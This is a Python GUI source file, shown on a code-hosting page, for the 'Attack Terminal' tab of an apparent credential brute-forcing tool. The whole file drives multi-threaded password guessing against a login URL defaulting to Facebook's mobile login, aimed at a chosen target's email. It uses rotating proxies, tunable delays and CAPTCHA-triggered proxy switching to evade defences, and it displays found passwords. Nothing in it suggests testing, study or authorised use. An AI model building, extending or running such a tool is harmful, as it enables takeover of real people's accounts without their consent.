Files
GOD-CWAK/src/gui/attack_tab.py

559 lines
26 KiB
Python
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
"""
Attack Terminal Tab — multi-proxy credential attack against any login URL.
Includes live stats, speed controls, custom target URL, and CAPTCHA status.
"""
import logging
import threading
from datetime import datetime
from typing import Callable, Optional
import customtkinter as ctk
from src.gui.theme import CyberpunkTheme
from src.attack.orchestrator import AttackOrchestrator, AttackState, AttackStats
from src.attack.login_client import SiteConfig
from src.proxy.pool import ProxyPool
from src.utils.file_io import load_passwords, count_lines
from config import (PASSWORDS_FILE, MAX_CONCURRENT_WORKERS, DEFAULT_DELAY_MIN,
DEFAULT_DELAY_MAX, PROXY_ROTATION_EVERY, REQUEST_TIMEOUT)
logger = logging.getLogger(__name__)
_FB_LOGIN_URL = "https://m.facebook.com/login.php"
class AttackTab(ctk.CTkFrame):
def __init__(self, parent, proxy_pool: ProxyPool,
status_callback: Optional[Callable] = None,
attempt_logger=None, app=None):
super().__init__(parent, fg_color=CyberpunkTheme.BG_MEDIUM)
self.proxy_pool = proxy_pool
self.status_callback = status_callback
self.app = app
self.orchestrator = AttackOrchestrator(
proxy_pool, logger_instance=attempt_logger)
self._build_ui()
self.orchestrator.on_stats_update = lambda s: self.after(0, lambda: self._on_stats_update(s))
self.orchestrator.on_log_entry = lambda e: self.after(0, lambda: self._on_log_entry(e))
self.orchestrator.on_success = lambda p, px, r: self.after(0, lambda: self._on_success(p, px, r))
self.orchestrator.on_state_change = lambda st: self.after(0, lambda: self._on_state_change(st))
self.orchestrator.on_captcha = lambda px: self.after(0, lambda: self._on_captcha_hit(px))
# ── Build ──────────────────────────────────────────────────────────────────
def _build_ui(self):
CyberpunkTheme.create_tab_header(
self, "03", "[ ATTACK TERMINAL ]",
"Multi-threaded login attempts with proxy rotation against any target URL",
)
CyberpunkTheme.create_hint_bar(
self,
"Set target URL + email → confirm readiness below → START when wordlist and proxies are loaded",
)
self._build_readiness_bar()
self._build_target_bar()
self._build_speed_panel()
self._build_stats_panel()
self._build_progress_bar()
self._build_control_buttons()
self._build_live_log()
self._update_periodic()
self._update_readiness()
def _build_readiness_bar(self):
"""At-a-glance checklist so the user knows what's missing before START."""
bar = ctk.CTkFrame(
self, fg_color=CyberpunkTheme.BG_DARK,
border_width=1, border_color=CyberpunkTheme.BORDER,
)
bar.pack(fill="x", padx=15, pady=(0, 8))
inner = ctk.CTkFrame(bar, fg_color="transparent")
inner.pack(fill="x", padx=12, pady=8)
ctk.CTkLabel(
inner, text="READINESS",
font=("Consolas", 10, "bold"),
text_color=CyberpunkTheme.TERTIARY,
width=80, anchor="w",
).pack(side="left")
def _chip(parent):
lbl = ctk.CTkLabel(
parent, text="",
font=("Consolas", 10, "bold"),
text_color=CyberpunkTheme.TEXT_DIM,
)
lbl.pack(side="left", padx=(0, 16))
return lbl
self.ready_target = _chip(inner)
self.ready_wordlist = _chip(inner)
self.ready_proxies = _chip(inner)
self.ready_overall = _chip(inner)
def _update_readiness(self):
target_ok = bool(self.email_entry.get().strip()) if hasattr(self, "email_entry") else False
wl = count_lines(PASSWORDS_FILE)
px = self.proxy_pool.available_count
def _set(lbl, ok: bool, ok_text: str, bad_text: str):
lbl.configure(
text=ok_text if ok else bad_text,
text_color=CyberpunkTheme.SUCCESS if ok else CyberpunkTheme.WARNING,
)
_set(self.ready_target, target_ok,
"✓ TARGET SET", "✗ NEED EMAIL")
_set(self.ready_wordlist, wl > 0,
f"✓ WORDLIST ({wl:,})", "✗ NO WORDLIST")
_set(self.ready_proxies, px > 0,
f"✓ PROXIES ({px})", "○ NO PROXIES (optional)")
all_core = target_ok and wl > 0
self.ready_overall.configure(
text="✓ READY TO START" if all_core else "✗ NOT READY",
text_color=CyberpunkTheme.SUCCESS if all_core else CyberpunkTheme.ERROR,
)
# ── Target bar (URL + username + counters) ────────────────────────────────
def _build_target_bar(self):
bar = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK,
border_width=1, border_color=CyberpunkTheme.BORDER)
bar.pack(fill="x", padx=15, pady=(0, 8))
# Row 1 — target URL
row1 = ctk.CTkFrame(bar, fg_color="transparent")
row1.pack(fill="x", padx=12, pady=(10, 4))
ctk.CTkLabel(row1, text="Target URL:",
font=("Consolas", 11),
text_color=CyberpunkTheme.TEXT_SECONDARY,
width=100, anchor="w").pack(side="left")
self.url_entry = ctk.CTkEntry(
row1, placeholder_text=_FB_LOGIN_URL,
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 11),
width=480)
self.url_entry.insert(0, _FB_LOGIN_URL)
self.url_entry.pack(side="left", padx=(0, 12))
CyberpunkTheme.apply_focus_glow(self.url_entry)
ctk.CTkLabel(row1, text="Form fields user:",
font=("Consolas", 10),
text_color=CyberpunkTheme.TEXT_DIM).pack(side="left", padx=(0, 4))
self.field_user_entry = ctk.CTkEntry(
row1, width=80, placeholder_text="email",
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 10))
self.field_user_entry.insert(0, "email")
self.field_user_entry.pack(side="left", padx=(0, 8))
ctk.CTkLabel(row1, text="pass:",
font=("Consolas", 10),
text_color=CyberpunkTheme.TEXT_DIM).pack(side="left", padx=(0, 4))
self.field_pass_entry = ctk.CTkEntry(
row1, width=80, placeholder_text="pass",
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 10))
self.field_pass_entry.insert(0, "pass")
self.field_pass_entry.pack(side="left")
# Row 2 — username/email + counters
row2 = ctk.CTkFrame(bar, fg_color="transparent")
row2.pack(fill="x", padx=12, pady=(0, 10))
ctk.CTkLabel(row2, text="Username / Email:",
font=("Consolas", 11),
text_color=CyberpunkTheme.TEXT_SECONDARY,
width=140, anchor="w").pack(side="left")
self.email_entry = ctk.CTkEntry(
row2, placeholder_text="target@example.com",
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 12), width=310)
self.email_entry.pack(side="left", padx=(0, 20))
CyberpunkTheme.apply_focus_glow(self.email_entry)
self.email_entry.bind("<KeyRelease>", lambda _e: self._update_readiness())
self.pwd_count_label = ctk.CTkLabel(
row2, text="Wordlist: 0",
font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_DIM)
self.pwd_count_label.pack(side="left", padx=(0, 18))
self.proxy_count_label = ctk.CTkLabel(
row2, text="Proxies: 0",
font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_DIM)
self.proxy_count_label.pack(side="left", padx=(0, 18))
self.captcha_label = ctk.CTkLabel(
row2, text="CAPTCHAs: 0",
font=("Consolas", 11), text_color=CyberpunkTheme.TEXT_DIM)
self.captcha_label.pack(side="left")
# ── Speed panel ───────────────────────────────────────────────────────────
def _build_speed_panel(self):
panel = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK,
border_width=1, border_color=CyberpunkTheme.BORDER)
panel.pack(fill="x", padx=15, pady=(0, 8))
hdr = ctk.CTkFrame(panel, fg_color="transparent")
hdr.pack(fill="x", padx=12, pady=(8, 4))
ctk.CTkLabel(hdr, text="⚡ SPEED & CONCURRENCY",
font=("Consolas", 11, "bold"),
text_color=CyberpunkTheme.TERTIARY).pack(side="left")
inner = ctk.CTkFrame(panel, fg_color="transparent")
inner.pack(fill="x", padx=12, pady=(0, 10))
def _slider_group(parent, label, var, from_, to, steps, default, unit=""):
ctk.CTkLabel(parent, text=label, font=("Consolas", 11),
text_color=CyberpunkTheme.TEXT_SECONDARY,
width=160, anchor="w").pack(side="left")
sl = ctk.CTkSlider(parent, from_=from_, to=to, number_of_steps=steps,
variable=var, width=170,
fg_color=CyberpunkTheme.BG_MEDIUM,
progress_color=CyberpunkTheme.PRIMARY,
button_color=CyberpunkTheme.PRIMARY,
button_hover_color=CyberpunkTheme.SECONDARY)
sl.pack(side="left", padx=(0, 6))
val_lbl = ctk.CTkLabel(parent, font=("Consolas", 12, "bold"),
text_color=CyberpunkTheme.PRIMARY, width=48)
val_lbl.configure(text=f"{int(default)}{unit}")
val_lbl.pack(side="left", padx=(0, 24))
sl.configure(command=lambda v, l=val_lbl, u=unit:
l.configure(text=f"{int(float(v))}{u}"))
return sl
row1 = ctk.CTkFrame(inner, fg_color="transparent")
row1.pack(fill="x", pady=(0, 6))
self.workers_var = ctk.IntVar(value=MAX_CONCURRENT_WORKERS)
_slider_group(row1, "Workers (threads):", self.workers_var,
1, 30, 29, MAX_CONCURRENT_WORKERS, "×")
self.rotation_var = ctk.IntVar(value=PROXY_ROTATION_EVERY)
_slider_group(row1, "Proxy rotation (req):", self.rotation_var,
1, 20, 19, PROXY_ROTATION_EVERY, "req")
row2 = ctk.CTkFrame(inner, fg_color="transparent")
row2.pack(fill="x")
self.delay_min_var = ctk.DoubleVar(value=DEFAULT_DELAY_MIN)
_slider_group(row2, "Delay min (s):", self.delay_min_var,
0.0, 10.0, 100, DEFAULT_DELAY_MIN, "s")
self.delay_max_var = ctk.DoubleVar(value=DEFAULT_DELAY_MAX)
_slider_group(row2, "Delay max (s):", self.delay_max_var,
0.0, 10.0, 100, DEFAULT_DELAY_MAX, "s")
ctk.CTkLabel(row2, text="Timeout (s):", font=("Consolas", 11),
text_color=CyberpunkTheme.TEXT_SECONDARY,
width=90, anchor="w").pack(side="left")
self.timeout_entry = ctk.CTkEntry(
row2, width=64,
fg_color=CyberpunkTheme.BG_DARK, border_color=CyberpunkTheme.BORDER,
text_color=CyberpunkTheme.TEXT_PRIMARY, font=("Consolas", 12))
self.timeout_entry.insert(0, str(REQUEST_TIMEOUT))
self.timeout_entry.pack(side="left")
CyberpunkTheme.apply_focus_glow(self.timeout_entry)
# ── Stats panel ───────────────────────────────────────────────────────────
def _build_stats_panel(self):
stats = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK,
border_width=1, border_color=CyberpunkTheme.BORDER)
stats.pack(fill="x", padx=15, pady=(0, 8))
inner = ctk.CTkFrame(stats, fg_color="transparent")
inner.pack(fill="x", padx=12, pady=8)
def _stat(text, color):
l = ctk.CTkLabel(inner, text=text, font=("Consolas", 13, "bold"),
text_color=color)
l.pack(side="left", padx=(0, 22))
return l
self.attempts_label = _stat("Attempts: 0", CyberpunkTheme.TEXT_PRIMARY)
self.success_label = _stat("Found: 0", CyberpunkTheme.SUCCESS)
self.fail_label = _stat("Failed: 0", CyberpunkTheme.ERROR)
self.speed_label = _stat("Speed: 0 r/s", CyberpunkTheme.PRIMARY)
self.workers_label = _stat("Workers: 0", CyberpunkTheme.TERTIARY)
self.elapsed_label = _stat("00:00:00", CyberpunkTheme.TEXT_DIM)
row2 = ctk.CTkFrame(stats, fg_color="transparent")
row2.pack(fill="x", padx=12, pady=(0, 6))
ctk.CTkLabel(row2, text="Trying:", font=("Consolas", 10),
text_color=CyberpunkTheme.TEXT_SECONDARY).pack(side="left", padx=(0, 5))
self.current_pwd_label = ctk.CTkLabel(
row2, text="", font=("Consolas", 10),
text_color=CyberpunkTheme.PRIMARY)
self.current_pwd_label.pack(side="left", padx=(0, 14))
ctk.CTkLabel(row2, text="via", font=("Consolas", 10),
text_color=CyberpunkTheme.TEXT_DIM).pack(side="left", padx=(0, 5))
self.current_proxy_label = ctk.CTkLabel(
row2, text="", font=("Consolas", 10),
text_color=CyberpunkTheme.TEXT_DIM)
self.current_proxy_label.pack(side="left")
def _build_progress_bar(self):
pf = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK,
border_width=1, border_color=CyberpunkTheme.BORDER)
pf.pack(fill="x", padx=15, pady=(0, 8))
inner = ctk.CTkFrame(pf, fg_color="transparent")
inner.pack(fill="x", padx=12, pady=8)
self.progress_bar = ctk.CTkProgressBar(
inner, fg_color=CyberpunkTheme.BG_DARK,
progress_color=CyberpunkTheme.PRIMARY,
height=18, corner_radius=4)
self.progress_bar.pack(fill="x", expand=True)
self.progress_bar.set(0)
self.progress_text = ctk.CTkLabel(
inner, text="0.0% (0 / 0)",
font=("Consolas", 10, "bold"),
text_color=CyberpunkTheme.PRIMARY)
self.progress_text.pack(pady=(3, 0))
def _build_control_buttons(self):
bf = ctk.CTkFrame(self, fg_color=CyberpunkTheme.BG_DARK,
border_width=1, border_color=CyberpunkTheme.BORDER)
bf.pack(fill="x", padx=15, pady=(0, 8))
inner = ctk.CTkFrame(bf, fg_color="transparent")
inner.pack(padx=12, pady=10)
self.start_btn = CyberpunkTheme.create_neon_button(
inner, text="▶ START", command=self._on_start,
color=CyberpunkTheme.SUCCESS,
width=160, height=40, font=("Consolas", 14, "bold"))
self.start_btn.pack(side="left", padx=(0, 12))
self.pause_btn = CyberpunkTheme.create_neon_button(
inner, text="⏸ PAUSE", command=self._on_pause,
color=CyberpunkTheme.WARNING,
width=120, height=40, font=("Consolas", 14, "bold"))
self.pause_btn.pack(side="left", padx=(0, 12))
self.pause_btn.configure(state="disabled")
self.stop_btn = CyberpunkTheme.create_neon_button(
inner, text="⏹ STOP", command=self._on_stop,
color=CyberpunkTheme.ERROR,
width=120, height=40, font=("Consolas", 14, "bold"))
self.stop_btn.pack(side="left")
self.stop_btn.configure(state="disabled")
self.state_label = ctk.CTkLabel(
inner, text="◈ IDLE",
font=("Consolas", 15, "bold"),
text_color=CyberpunkTheme.TEXT_DIM, width=160)
self.state_label.pack(side="right", padx=(22, 0))
def _build_live_log(self):
ctk.CTkLabel(self, text="> LIVE LOG",
font=("Consolas", 12, "bold"),
text_color=CyberpunkTheme.PRIMARY).pack(anchor="w", padx=15, pady=(0, 4))
self.log_text = ctk.CTkTextbox(
self, fg_color=CyberpunkTheme.BG_DARK,
border_color=CyberpunkTheme.BORDER,
text_color=CyberpunkTheme.TEXT_PRIMARY,
font=("Consolas", 11), border_width=1)
self.log_text.pack(fill="both", expand=True, padx=15, pady=(0, 12))
self.log_text.insert("end",
"[SYSTEM] Ready.\n"
"[SYSTEM] 1. Set Target URL (default: Facebook mobile login)\n"
"[SYSTEM] 2. Enter username/email\n"
"[SYSTEM] 3. Generate wordlist in Password Builder\n"
"[SYSTEM] 4. Fetch & test proxies in Proxy Manager then COMMIT\n"
"[SYSTEM] 5. Press START\n")
self.log_text.configure(state="disabled")
# ── Speed → orchestrator ─────────────────────────────────────────────────
def _apply_speed_settings(self):
self.orchestrator.max_workers = max(1, int(self.workers_var.get()))
self.orchestrator.proxy_rotation_every = max(1, int(self.rotation_var.get()))
self.orchestrator.delay_min = float(self.delay_min_var.get())
self.orchestrator.delay_max = max(
float(self.delay_min_var.get()), float(self.delay_max_var.get()))
try:
self.orchestrator.request_timeout = int(self.timeout_entry.get() or "20")
except ValueError:
self.orchestrator.request_timeout = 20
self.orchestrator.login_client.request_timeout = self.orchestrator.request_timeout
def _build_site_config(self) -> SiteConfig:
url = self.url_entry.get().strip() or _FB_LOGIN_URL
user_field = self.field_user_entry.get().strip() or "email"
pass_field = self.field_pass_entry.get().strip() or "pass"
if "facebook.com" in url or "fb.com" in url:
from urllib.parse import urlparse
cfg = SiteConfig()
cfg.login_url = url
cfg.username_field = user_field
cfg.password_field = pass_field
return cfg
# Generic site
cfg = SiteConfig.for_url(url)
cfg.username_field = user_field
cfg.password_field = pass_field
return cfg
# ── Button handlers ───────────────────────────────────────────────────────
def _on_start(self):
username = self.email_entry.get().strip()
if not username:
self._log("ERROR: Enter a target username/email first")
return
passwords = load_passwords()
if not passwords:
self._log("ERROR: Wordlist is empty — generate passwords in the Password Builder tab")
return
if self.proxy_pool.available_count == 0:
self._log("WARNING: No proxies committed — attack will run without proxies")
self._apply_speed_settings()
site_cfg = self._build_site_config()
self.orchestrator.configure(username, passwords, site_cfg)
self.orchestrator.start()
if self.app:
self.app.set_attack_state("RUNNING")
self.start_btn.configure(state="disabled")
self.pause_btn.configure(state="normal")
self.stop_btn.configure(state="normal")
w = self.orchestrator.max_workers
url = site_cfg.login_url
self._log(f"▶ Attack started — {len(passwords):,} passwords, {w} workers")
self._log(f" Target: {url}")
self._notify(f"Attack running · {len(passwords):,} passwords · {w} workers")
def _on_pause(self):
if self.orchestrator.is_running:
self.orchestrator.pause()
self.pause_btn.configure(text="▶ RESUME")
self._log("⏸ Attack paused")
self._notify("Attack PAUSED")
elif self.orchestrator.is_paused:
self.orchestrator.resume()
self.pause_btn.configure(text="⏸ PAUSE")
self._log("▶ Attack resumed")
self._notify("Attack RUNNING")
def _on_stop(self):
self.orchestrator.stop()
if self.app:
self.app.set_attack_state("STOPPED")
self.start_btn.configure(state="normal")
self.pause_btn.configure(state="disabled", text="⏸ PAUSE")
self.stop_btn.configure(state="disabled")
self._log("⏹ Attack stopped")
self._notify("Attack STOPPED")
# ── Orchestrator callbacks ────────────────────────────────────────────────
def _on_stats_update(self, stats: AttackStats):
self.attempts_label.configure(text=f"Attempts: {stats.total_attempts:,}")
self.success_label.configure(text=f"Found: {stats.successful_attempts}")
self.fail_label.configure(text=f"Failed: {stats.failed_attempts:,}")
self.speed_label.configure(text=f"Speed: {stats.attempts_per_second:.1f} r/s")
self.workers_label.configure(text=f"Workers: {stats.active_workers}")
e = int(stats.elapsed_seconds)
self.elapsed_label.configure(text=f"{e//3600:02d}:{(e%3600)//60:02d}:{e%60:02d}")
self.current_pwd_label.configure(text=stats.current_password or "")
self.current_proxy_label.configure(text=stats.current_proxy or "")
progress = self.orchestrator.progress / 100
self.progress_bar.set(progress)
total_pw = len(self.orchestrator.passwords)
self.progress_text.configure(
text=f"{self.orchestrator.progress:.1f}% ({stats.passwords_tried:,} / {total_pw:,})")
self.pwd_count_label.configure(
text=f"Wordlist: {stats.passwords_tried:,}/{total_pw:,}")
self.proxy_count_label.configure(text=f"Proxies: {self.proxy_pool.available_count}")
self.captcha_label.configure(
text=f"CAPTCHAs: {stats.captchas_hit}",
text_color=(CyberpunkTheme.WARNING if stats.captchas_hit > 0
else CyberpunkTheme.TEXT_DIM))
if stats.current_password:
self._notify(
f"Trying: {stats.current_password[:24]} · "
f"{stats.attempts_per_second:.1f} r/s · "
f"{stats.active_workers} workers")
def _on_log_entry(self, entry: dict):
ts = datetime.now().strftime("%H:%M:%S")
icon = "[+]" if entry["result"] == "SUCCESS" else "[-]"
self._log(f"[{ts}] {icon} {entry['proxy'][:28]} >> {entry['password'][:28]} >> {entry['message']}")
def _on_success(self, password: str, proxy: str, result):
banner = (
"\n" + "" * 56 + "\n"
" *** ACCESS GRANTED — CREDENTIALS FOUND ***\n"
f" PASSWORD : {password}\n"
f" PROXY : {proxy}\n"
"" * 56 + "\n"
)
self._log(banner)
self.log_text.configure(border_color=CyberpunkTheme.SUCCESS)
self.after(3000, lambda: self.log_text.configure(border_color=CyberpunkTheme.BORDER))
self._notify(f"*** PASSWORD FOUND: {password} ***")
def _on_captcha_hit(self, proxy: str):
self._log(f"[!] CAPTCHA detected via {proxy[:28]} — proxy rotated, password re-queued")
self.log_text.configure(border_color=CyberpunkTheme.WARNING)
self.after(2000, lambda: self.log_text.configure(border_color=CyberpunkTheme.BORDER))
def _on_state_change(self, state: AttackState):
colors = {
AttackState.IDLE: CyberpunkTheme.TEXT_DIM,
AttackState.RUNNING: CyberpunkTheme.SUCCESS,
AttackState.PAUSED: CyberpunkTheme.WARNING,
AttackState.STOPPED: CyberpunkTheme.ERROR,
AttackState.COMPLETED: CyberpunkTheme.PRIMARY,
}
self.state_label.configure(
text=f"{state.value.upper()}",
text_color=colors.get(state, CyberpunkTheme.TEXT_DIM))
if self.app:
self.app.set_attack_state(state.value.upper())
if state in (AttackState.COMPLETED, AttackState.STOPPED):
self.start_btn.configure(state="normal")
self.pause_btn.configure(state="disabled", text="⏸ PAUSE")
self.stop_btn.configure(state="disabled")
# ── Helpers ───────────────────────────────────────────────────────────────
def _log(self, message: str):
self.log_text.configure(state="normal")
self.log_text.insert("end", message + "\n")
self.log_text.see("end")
self.log_text.configure(state="disabled")
def _notify(self, msg: str):
if self.status_callback:
self.status_callback(msg)
def _update_periodic(self):
try:
pwd_count = count_lines(PASSWORDS_FILE)
self.pwd_count_label.configure(text=f"Wordlist: {pwd_count:,}")
except Exception:
pass
self.proxy_count_label.configure(text=f"Proxies: {self.proxy_pool.available_count}")
self._update_readiness()
self.after(2000, self._update_periodic)